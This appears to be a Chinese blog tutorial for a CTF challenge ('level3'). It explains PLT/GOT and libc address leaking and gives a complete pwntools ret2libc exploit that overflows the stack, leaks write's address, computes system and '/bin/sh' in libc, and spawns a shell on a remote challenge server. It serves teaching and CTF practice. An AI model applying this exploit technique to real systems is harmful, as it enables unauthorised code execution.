pwn入门-PLT表与GOT表、libc入门

动态链接时,一个程序PLT表中的内容始终不变,仅在程序加载时修改GOT表中的内容。PLT表中的每个表项指向对应函数在GOT表中的地址(偏移),每次加载程序都相同。程序加载后GOT表中的每个表项保存的是函数在共享区的绝对地址,每次加载都不相同。
代码如下:

from pwn import *
io = remote("111.200.241.244", 49167)

elf = ELF("./level3")
libc = ELF("./libc_32.so.6")
write_plt = elf.plt['write']
write_got = elf.got['write']
write_libc_offset = libc.sym['write']
main = elf.sym['main']
system_libc_offset = libc.sym['system']

# char[0x88], rubbish %ebp, vulnerable ret, write ret addr, write arguments
exp = "a" * 0x88 + p32(0) + p32(write_plt) + p32(main) + p32(1) + p32(write_got) + p32(4)
io.recvline()
io.sendline(exp)
write_addr = u32(io.recvline()[:-7])
# for i in a:
#     print(hex(ord(i)))
# print((a))
print(hex(write_addr))
libc_base = write_addr - write_libc_offset
print(hex(libc_base))
system_addr = system_libc_offset + libc_base

# strings -a -t x libc_32.so.6 | grep "/bin/sh"
shell_string_addr = 0x15902b + libc_base
exp2 = "a"*0x88 + p32(0) + p32(system_addr) + p32(0) + p32(shell_string_addr)
io.sendline(exp2)
io.sendline('ls')
io.sendline('cat flag')
io.interactive()

这道题是两次进入了main函数。
第一次进入main函数时,通过栈溢出修改返回地址,返回到write函数的plt,从而进入到write函数。至于write函数的参数,通过压栈传入,在传参时,通过传入write函数的GOT地址,write函数会到内存中这个地址的地方取出其中的4个字节,然后把他们当成字符串输出到屏幕,我再利用io.recv接收这个输出,用u32对这个字符串进行解包。
(这里需要提一句,p32函数是将一个数值打包成32位的4字节字符串;u32函数是将一个32位的4字节字符串解包成一个整型数。)
经过上面的操作之后,成功拿到程序中write函数的绝对地址。
而我们从给的libc.so文件中可以找到write函数在libc中的偏移量,我们用write函数的绝对地址减去这个偏移量,就可以得到libc在程序中的起始地址,这是一个动态的地址,每次运行程序都不一样。
我们在libc.so中可以拿到system函数在libc中的偏移,拿到libc在程序中的起始地址之后,我们用这个起始地址加上system函数在libc中的偏移,就可以得到system函数在程序中的绝对地址,这也是一个动态地址,然后构造payload,让程序返回到system就可以。
这里有另一个问题,就是system函数传入的字符串"/bin/sh"在哪找。在给的elf文件中没有找到这个字符串,我们只能在libc.so中找。使用了这个Linux命令 strings -a -t x libc_32.so.6 | grep "/bin/sh"输出了 15902b 说明在libc.so文件的0x15902b偏移处存在一个字符串"/bin/sh",我们只需要用libc在程序中的起始地址加上这个偏移,就可以得到这个字符串的动态地址,然后传给system就可以。

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值